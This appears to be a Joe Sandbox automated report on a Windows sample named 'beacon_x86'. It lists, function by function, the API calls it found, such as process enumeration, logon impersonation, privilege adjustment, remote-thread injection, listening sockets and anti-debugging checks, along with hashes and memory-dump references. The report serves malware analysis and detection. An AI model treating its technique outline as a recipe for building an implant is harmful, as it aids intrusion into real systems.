Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

_memset.LIBCMT ref: 00D64243

Part of subcall function 00D606CB: _malloc.LIBCMT ref: 00D606D1

Part of subcall function 00D6071B: htonl.WS2_32(00000000), ref: 00D60721

_strncmp.LIBCMT ref: 00D64292
GetCurrentDirectoryA.KERNEL32(00004000,00000000), ref: 00D642A0

Part of subcall function 00D77722: __lock.LIBCMT ref: 00D77740
Part of subcall function 00D77722: ___sbh_find_block.LIBCMT ref: 00D7774B
Part of subcall function 00D77722: ___sbh_free_block.LIBCMT ref: 00D7775A
Part of subcall function 00D77722: HeapFree.KERNEL32(00000000,?,00D925A0,0000000C,00D7988B,00000000,00D92700,0000000C,00D798C5,?,?,?,00D8519D,00000004,00D92A60,0000000C), ref: 00D7778A
Part of subcall function 00D77722: GetLastError.KERNEL32(?,00D8519D,00000004,00D92A60,0000000C,00D80868,?,?,00000000,00000000,00000000,?,00D7C749,00000001,00000214), ref: 00D7779B

FindFirstFileA.KERNEL32(00000000,?), ref: 00D642D1
GetLastError.KERNEL32 ref: 00D642DE
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D6432A
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00D6433A
FindNextFileA.KERNEL32(00000000,00000010), ref: 00D643CD
FindClose.KERNEL32(00000000), ref: 00D643DC

Part of subcall function 00D60825: _vwprintf.LIBCMT ref: 00D6082F
Part of subcall function 00D60825: _vswprintf_s.LIBCMT ref: 00D60853

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Time$FileFind$ErrorHeapLastSystem_malloc$AllocateCloseCurrentDirectoryFirstFreeLocalNextSpecific___sbh_find_block___sbh_free_block__lock_memset_strncmp_vswprintf_s_vwprintfhtonl
String ID:
API String ID: 2804257087-0
Opcode ID: 367741937191fe788a624aa3e96e89a7853a88b2fdab5ad84866b0e513a4ffb9
Instruction ID: fe05d9d347cc95e75935afcd7a1088275bc974c6e5c7adcce240314491dcc90a
Opcode Fuzzy Hash: 367741937191fe788a624aa3e96e89a7853a88b2fdab5ad84866b0e513a4ffb9
Instruction Fuzzy Hash: 735121B2904229ABDB10EBE5DC46EFF7BBCEF48714F044526F515E2181FA38994487B1

Function 00D694E3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 157processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D69504

Part of subcall function 00D606CB: _malloc.LIBCMT ref: 00D606D1

GetCurrentProcess.KERNEL32 ref: 00D6954F
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00D69583
Process32First.KERNEL32(00000000,?), ref: 00D695A5

Part of subcall function 00D6071B: htonl.WS2_32(00000000), ref: 00D60721

Process32Next.KERNEL32(00000000,00000128), ref: 00D69688

Part of subcall function 00D69477: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 00D69484

ProcessIdToSessionId.KERNEL32(?,?,00000000,?,00000002,00000000), ref: 00D69629

Strings

x86, xrefs: 00D69579, 00D69640, 00D69654

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Process$Process32$CreateCurrentFirstNextOpenSessionSnapshotTokenToolhelp32_malloc_memsethtonl
String ID: x86
API String ID: 3674674043-2105985432
Opcode ID: 447340cae775b3053d4473118a7423672c073c893f5ed4e321517c6ba13d85f6
Instruction ID: 5abfffbe9ec49282b2b50f55b9c4b48f60a43a15d9cf1807301c8ed29df4eb7f
Opcode Fuzzy Hash: 447340cae775b3053d4473118a7423672c073c893f5ed4e321517c6ba13d85f6
Instruction Fuzzy Hash: 6D51647290420DAFDF11ABE4DC56AEFBBBCDF04324F144066F504E2191EA35DA458BB1

Function 00D6970E Relevance: 10.6, APIs: 7, Instructions: 84fileCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D6971B

Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

__snprintf.LIBCMT ref: 00D6972C
FindFirstFileA.KERNEL32(00000000,00D640C9,?,00D697FD,00D640C9,?,Function_0000404D), ref: 00D69739

Part of subcall function 00D77722: __lock.LIBCMT ref: 00D77740
Part of subcall function 00D77722: ___sbh_find_block.LIBCMT ref: 00D7774B
Part of subcall function 00D77722: ___sbh_free_block.LIBCMT ref: 00D7775A
Part of subcall function 00D77722: HeapFree.KERNEL32(00000000,?,00D925A0,0000000C,00D7988B,00000000,00D92700,0000000C,00D798C5,?,?,?,00D8519D,00000004,00D92A60,0000000C), ref: 00D7778A
Part of subcall function 00D77722: GetLastError.KERNEL32(?,00D8519D,00000004,00D92A60,0000000C,00D80868,?,?,00000000,00000000,00000000,?,00D7C749,00000001,00000214), ref: 00D7779B

_malloc.LIBCMT ref: 00D69778
__snprintf.LIBCMT ref: 00D6978D

Part of subcall function 00D696D1: _malloc.LIBCMT ref: 00D696DC
Part of subcall function 00D696D1: __snprintf.LIBCMT ref: 00D696F0

FindNextFileA.KERNEL32(000000FF,00D640C9,?,?,?,?,?,?,?), ref: 00D697BA
FindClose.KERNEL32(000000FF,?,?,?,?,?,?,?), ref: 00D697C7

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Find__snprintf_malloc$FileHeap$AllocateCloseErrorFirstFreeLastNext___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 1254174322-0
Opcode ID: 7ae800f8f7ca239d697f2c5c2412b7c2d27ae9740c1b11ea2a813ecb56f58f33
Instruction ID: 9bf500bef607e3865a486011243465e94abff7c89eb587c3166d91fb8b6c0a1b
Opcode Fuzzy Hash: 7ae800f8f7ca239d697f2c5c2412b7c2d27ae9740c1b11ea2a813ecb56f58f33
Instruction Fuzzy Hash: E621D432500208BFDF106F65DC46EAF7F6DEF407A0F188424F908AA251EB719D119BB0

Function 00D7F331 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00D831AD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D831C2
UnhandledExceptionFilter.KERNEL32(00D8AC2C), ref: 00D831CD
GetCurrentProcess.KERNEL32(C0000409), ref: 00D831E9
TerminateProcess.KERNEL32(00000000), ref: 00D831F0

Strings

o#{#, xrefs: 00D831A2

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: o#{#
API String ID: 2579439406-379982271
Opcode ID: 2eab42f065c8d9b406cb0d21b1cf4b37558d13e6cb7d25a63a30f4a5b4d94363
Instruction ID: e821463a461864af7ea79be3aa11b57acf09e0b635b9c905ee88f659ca294892
Opcode Fuzzy Hash: 2eab42f065c8d9b406cb0d21b1cf4b37558d13e6cb7d25a63a30f4a5b4d94363
Instruction Fuzzy Hash: E021CDB4822304AFD710DF68FE896543BB8FB48724F12101BEA08C6360E7B459868F35

Function 00D67699 Relevance: 9.1, APIs: 6, Instructions: 68networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 00D676B6
htons.WS2_32(?), ref: 00D676C6
socket.WS2_32(00000002,00000002,00000000), ref: 00D676DC
closesocket.WS2_32(00000000), ref: 00D676E9
bind.WS2_32(00000000,?,00000010), ref: 00D67717
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00D6772E

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: bindclosesockethtonlhtonsioctlsocketsocket
String ID:
API String ID: 3910169428-0
Opcode ID: 6239602cab72869170fbda90b462baf68007d31cc28af6a69a1f951ee9adf7f4
Instruction ID: f6cf145709da2ff18871a9459446b7c9c2d5edf4dfaf19a296e47a72fb835b3e
Opcode Fuzzy Hash: 6239602cab72869170fbda90b462baf68007d31cc28af6a69a1f951ee9adf7f4
Instruction Fuzzy Hash: 77118271E04318ABD710ABF89C86FAEB7ACDF08328F104576F615E61D2E6748A448779

Function 00D675B7 Relevance: 9.1, APIs: 6, Instructions: 54networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 00D675CF
htons.WS2_32(?), ref: 00D675EB
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00D67604
closesocket.WS2_32(00000000), ref: 00D6760F
bind.WS2_32(00000000,?,00000010), ref: 00D6761D
listen.WS2_32(00000000,?), ref: 00D6762B

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: bindclosesockethtonsioctlsocketlistensocket
String ID:
API String ID: 1767165869-0
Opcode ID: 684e3fab20465ebc5c2bc51e182806f0ed24c761cacec87125c3c9889a1dbabd
Instruction ID: 20f69773217e604c9ca90e1c4ea047b0c84273bbea2ff7ab96d31cb5c695346c
Opcode Fuzzy Hash: 684e3fab20465ebc5c2bc51e182806f0ed24c761cacec87125c3c9889a1dbabd
Instruction Fuzzy Hash: 0C01753560462CB7DB22BBE88C45EEEBB29DF41764F240152F945E6191E730CA4187FA

Function 00401A60 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401AAF
UnhandledExceptionFilter.KERNEL32 ref: 00401ABF
GetCurrentProcess.KERNEL32 ref: 00401AC8
TerminateProcess.KERNEL32 ref: 00401AD9
abort.MSVCRT ref: 00401AE2

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: f1735b2a21335909bc253273f0ac7d76cfe1abd3c6ccf2038b615fc4144ab68f
Instruction ID: 4cf10dc5dd0b46c0d15535f06df006338fe5ac01ee9545680c35680ef873d5b5
Opcode Fuzzy Hash: f1735b2a21335909bc253273f0ac7d76cfe1abd3c6ccf2038b615fc4144ab68f
Instruction Fuzzy Hash: C71104B8904701CFC700EF79E98860ABBF0BB48305F418939E98897362E774D944CF5A

Function 004019A0 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 004019DF
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014B2), ref: 004019F0
GetCurrentThreadId.KERNEL32 ref: 004019F8
GetTickCount.KERNEL32 ref: 00401A00
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014B2), ref: 00401A0F

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: ce9964a745ff34b1e52db9bb427ed0266c0b5c27dc7e9c3f673c87eb161a208f
Instruction ID: f91986c62e855f646c45f311636352fb5b7618295fe1daaf99d33dd895697f3e
Opcode Fuzzy Hash: ce9964a745ff34b1e52db9bb427ed0266c0b5c27dc7e9c3f673c87eb161a208f
Instruction Fuzzy Hash: 72112EB56093008BD710DF7AE9CC64BBBE0FB88355F150C3AE545C6720EA35D849CB96

Function 00401A5C Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401AAF
UnhandledExceptionFilter.KERNEL32 ref: 00401ABF
GetCurrentProcess.KERNEL32 ref: 00401AC8
TerminateProcess.KERNEL32 ref: 00401AD9
abort.MSVCRT ref: 00401AE2

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: e890205312924e3d75c916e9bd349fed97dc7cc0427307e0de22e70c0feafd3e
Instruction ID: 06684be4768ddce2bfe548fce248f846a3560142eb51a47cff2d5cf3969212e5
Opcode Fuzzy Hash: e890205312924e3d75c916e9bd349fed97dc7cc0427307e0de22e70c0feafd3e
Instruction Fuzzy Hash: 721117B9900701CFD700EF79E94864A7BF0BB09302F418979E94897362E774E844CF5A

Function 00D6DDB3 Relevance: 7.5, APIs: 5, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 00D6DDC5
closesocket.WS2_32(00000000), ref: 00D6DDD2
htons.WS2_32(?), ref: 00D6DDE3
bind.WS2_32(00000000,?,00000010), ref: 00D6DDFA
listen.WS2_32(00000000,00000078), ref: 00D6DE0B

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: bindclosesockethtonslistensocket
String ID:
API String ID: 564772725-0
Opcode ID: 4608418ac572ee87b4d0a36261fff936413e4078da5707b22057ec53c3953703
Instruction ID: 3cd7b48935b7193c558bb743db4429f43367961e4c3f10eb1bb00aafd1a1e266
Opcode Fuzzy Hash: 4608418ac572ee87b4d0a36261fff936413e4078da5707b22057ec53c3953703
Instruction Fuzzy Hash: C4F0D134E8032477DA1077B86C06BAE32299F10330F004351F9A5AA0D3D7B1C64087FA

Function 00D6D272 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00D6CF1C: RevertToSelf.ADVAPI32(00000100,00D6D4B0,00000000,?,?,00D609A7,?,00000000,00000000,00000000,00000100,00000100), ref: 00D6CF33

LogonUserA.ADVAPI32(?,?,?,00000009,00000003,00D9F8A4), ref: 00D6D292
GetLastError.KERNEL32 ref: 00D6D29C

Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671C2
Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671D2

Part of subcall function 00D606CB: _malloc.LIBCMT ref: 00D606D1

Part of subcall function 00D60825: _vwprintf.LIBCMT ref: 00D6082F
Part of subcall function 00D60825: _vswprintf_s.LIBCMT ref: 00D60853

Part of subcall function 00D60864: _memset.LIBCMT ref: 00D60872

ImpersonateLoggedOnUser.ADVAPI32 ref: 00D6D2B6
GetLastError.KERNEL32 ref: 00D6D2C0

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _malloc$ErrorLastUser$ImpersonateLoggedLogonRevertSelf_memset_vswprintf_s_vwprintf
String ID:
API String ID: 3063602088-0
Opcode ID: ecc5bfd60b4ca226a13278e4355baab0a4dc3c6161ec9c82f8de0c8d393e3571
Instruction ID: 8dc69ce27b25d33ea51fbcfffb789040ad977d7e642e3e93be4cd5d144bdd22f
Opcode Fuzzy Hash: ecc5bfd60b4ca226a13278e4355baab0a4dc3c6161ec9c82f8de0c8d393e3571
Instruction Fuzzy Hash: DE3152B2904308BFEF41BFA4ED46EAB3FA9EB05745F144036F904E52A1E73589149BB1

Function 00D6C320 Relevance: 6.1, APIs: 4, Instructions: 68memorynativeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00D655ED,?,?,?,00D65A04,00000000,00000000,00000000,?,00000000,00D655ED,00000000,00000000,00000000), ref: 00D6C369
NtAllocateVirtualMemory.NTDLL(?,00000000,00000000,?,00003000,00000000), ref: 00D6C384
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000000,00000000,00D655ED,?,?,?,00D65A04,00000000,00000000,00000000,?,00000000,00D655ED), ref: 00D6C3CA
VirtualAllocEx.KERNEL32(?,00000000,00000000,00003000,00000000,00000000,00D655ED,?,?,?,00D65A04,00000000,00000000,00000000,?,00000000), ref: 00D6C3D5

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Virtual$Alloc$AllocateCurrentMemoryProcess
String ID:
API String ID: 3902775219-0
Opcode ID: f3225af02601ea7639aff63889f2da5ca9a95b9bb0ebc04242fcfe17363879df
Instruction ID: c4146535a3e0c2c72f8666e04b08412e9f79a830296df52b2bf5e68025645331
Opcode Fuzzy Hash: f3225af02601ea7639aff63889f2da5ca9a95b9bb0ebc04242fcfe17363879df
Instruction Fuzzy Hash: D9214AB5860304EFDB29DF49EC498BA3BB9E755760B24911AF486D2320E730AE40CB71

Function 00D6C669 Relevance: 6.1, APIs: 4, Instructions: 66threadnativeinjectionCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00D65865,00000000,00000000,00000000,?,00D65284,00000000,00000000,00000000,?,00D655ED,00000000,00000000), ref: 00D6C6A2
NtCreateThreadEx.NTDLL(?,001FFFFF,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00D6C6C6
CreateThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D6C715
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D6C720

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CreateThread$CurrentProcessRemote
String ID:
API String ID: 3122335635-0
Opcode ID: 9e1e7b97a0420c0161f701f64575aea9cd948f5a0187209609533c6fb648fb43
Instruction ID: c32b52289e240b3b334425c8aa2b48672989ca711fcbc3eb3b0321429d4d0c77
Opcode Fuzzy Hash: 9e1e7b97a0420c0161f701f64575aea9cd948f5a0187209609533c6fb648fb43
Instruction Fuzzy Hash: 8C115EB1522314EBCF359F95DD898BA7F69EB15790B286016F889C6220C7318E80DFB5

Function 00D6C3DF Relevance: 6.1, APIs: 4, Instructions: 63memorynativeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00D65A90,00000000,00000000,00000000,?,00000000,00D655ED,00000000,00000000,00000000), ref: 00D6C421
NtProtectVirtualMemory.NTDLL(?,?,00000000,00000000,00D655ED), ref: 00D6C43B
VirtualProtect.KERNEL32(00000000,00000000,00000000,00D655ED,?,?,?,00D65A90,00000000,00000000,00000000), ref: 00D6C47F
VirtualProtectEx.KERNEL32(00000000,00000000,00000000,00000000,00D655ED,?,?,?,00D65A90,00000000,00000000,00000000), ref: 00D6C48A

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: ProtectVirtual$CurrentMemoryProcess
String ID:
API String ID: 261991438-0
Opcode ID: 955326eee837c9f927e054387bf5b9ddf14571f0630fd128837ef7ecf955bbd9
Instruction ID: dfdd8007c65dc1328c8f9c6bea9d3076d2f2b7e45365318cd2d6494bd31ab66c
Opcode Fuzzy Hash: 955326eee837c9f927e054387bf5b9ddf14571f0630fd128837ef7ecf955bbd9
Instruction Fuzzy Hash: DE114CB0A21205EFCF18CF55EC699BA3B69EB15745F14502AE486C2310DB30BA44CB31

Function 00D86320 Relevance: 5.6, Strings: 4, Instructions: 612COMMONLIBRARYCODE

Download Yara Rule

Strings

abcdefghijklmnop, xrefs: 00D8632B
, xrefs: 00D8669C
abcdefghijklmnop, xrefs: 00D8632A
<, xrefs: 00D866A6

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID:
String ID: $<$abcdefghijklmnop$abcdefghijklmnop
API String ID: 0-3339112986
Opcode ID: 4f3e4aa69f00bf35dabbf4cf9034c8cc60d7e660268ef8f9a4463fa9815f5d53
Instruction ID: ac09b5002e7ed4c692e02336b23558f09c9701877855a033f6dc5f1b203f05ca
Opcode Fuzzy Hash: 4f3e4aa69f00bf35dabbf4cf9034c8cc60d7e660268ef8f9a4463fa9815f5d53
Instruction Fuzzy Hash: 9352E275E102198FDB08CF69C491AADBBF1EF4D310F14C16AE869AB352C234E951CFA4

Function 00D611D8 Relevance: 4.6, APIs: 3, Instructions: 131libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00D612C8
LoadLibraryA.KERNEL32(00000000), ref: 00D612D3
GetProcAddress.KERNEL32(00000000,00000000), ref: 00D612DB

Part of subcall function 00D616E2: _vswprintf_s.LIBCMT ref: 00D616FE

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc_vswprintf_s
String ID:
API String ID: 2092861438-0
Opcode ID: c6a89f95465e4311d95137f2b1f914ea95354d56fd0a7841555270d50992e9a9
Instruction ID: 425c8e3b314130801b71c0bbd92a696c2a7b80a5d29b77ca2ceb1b27bb6735d1
Opcode Fuzzy Hash: c6a89f95465e4311d95137f2b1f914ea95354d56fd0a7841555270d50992e9a9
Instruction Fuzzy Hash: 7D41197A9041009BDF14DFE4D49AA6B37B9EB88320F7D4055EA06EF381D634DC4287B8

Function 00D631CB Relevance: 4.6, APIs: 3, Instructions: 75COMMON

Download Yara Rule

APIs

LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 00D63227
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00D6324A
GetLastError.KERNEL32 ref: 00D63254

Part of subcall function 00D60825: _vwprintf.LIBCMT ref: 00D6082F
Part of subcall function 00D60825: _vswprintf_s.LIBCMT ref: 00D60853

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: AdjustErrorLastLookupPrivilegePrivilegesTokenValue_vswprintf_s_vwprintf
String ID:
API String ID: 2004037343-0
Opcode ID: 9f86f87c5ae15c194252f1bfe404f2ae1e395c140dd38bd226f374757407943b
Instruction ID: f48a8e83ef0a784304218b222b8b5388bcf30a4cd1d0259e0b5ef523995feb60
Opcode Fuzzy Hash: 9f86f87c5ae15c194252f1bfe404f2ae1e395c140dd38bd226f374757407943b
Instruction Fuzzy Hash: 99111A72900219BBEB119FA9DD45AEFBBBCEF08354F100426F904E6151E635AE0886B6

Function 00D63A7E Relevance: 4.6, APIs: 3, Instructions: 65processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserA.ADVAPI32(00D9F8A4,00000000,?,00000000,00000000,00000001,00000004,00000000,00000000,?,?,?,?,00000011,00D63B75,?), ref: 00D63AA4

Part of subcall function 00D63870: _memset.LIBCMT ref: 00D6389E
Part of subcall function 00D63870: _memset.LIBCMT ref: 00D638BA

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000004,00000000,00000000,?,?,?,?,00000011,00D63B75,?,?), ref: 00D63AF3
GetLastError.KERNEL32(?,?,00D68320), ref: 00D63AFD

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: CreateProcess_memset$ErrorLastUser
String ID:
API String ID: 4202367947-0
Opcode ID: 0982fd34417c59dd49dc118b61c43cf33fa052bbbe8de61657e7a272f20c38e9
Instruction ID: 7e6f0e59f3316c0ce858a71bda69231b958666f67762f759dd2f86ce17d9c5f8
Opcode Fuzzy Hash: 0982fd34417c59dd49dc118b61c43cf33fa052bbbe8de61657e7a272f20c38e9
Instruction Fuzzy Hash: 5711FA35110640BFEB325FA6DC48E277BB9EF85B11B28082EF586C1560D7268550EB31

Function 00D6D442 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00D8A094,?,?,?,00D670ED), ref: 00D6D475
CheckTokenMembership.ADVAPI32(00000000,?,00D670ED,?,?,?,00D670ED), ref: 00D6D48A
FreeSid.ADVAPI32(?,?,?,?,00D670ED), ref: 00D6D49A

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 1d6f8c9cadea20f816400e59006557ca8d84ccf6ab4b4ccf15bb49df28ab8954
Instruction ID: 46fdceb7e08d21928fd7f4995a7b47aeea4566b695badea2ae4f02092e85a38a
Opcode Fuzzy Hash: 1d6f8c9cadea20f816400e59006557ca8d84ccf6ab4b4ccf15bb49df28ab8954
Instruction Fuzzy Hash: 90011D72D45288FFEB01DBE89C84ADDBFBCAB14204F44449AA501A3245D2706B08DB36

Function 00D681C2 Relevance: 4.5, APIs: 3, Instructions: 11memorythreadCOMMON

Download Yara Rule

APIs

DeleteProcThreadAttributeList.KERNELBASE(00D6834A), ref: 00D681C8
GetProcessHeap.KERNEL32(00000000,00D6834A,?,00D6834A,00000000), ref: 00D681D3
HeapFree.KERNEL32(00000000,?,00D6834A,00000000), ref: 00D681DA

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Heap$AttributeDeleteFreeListProcProcessThread
String ID:
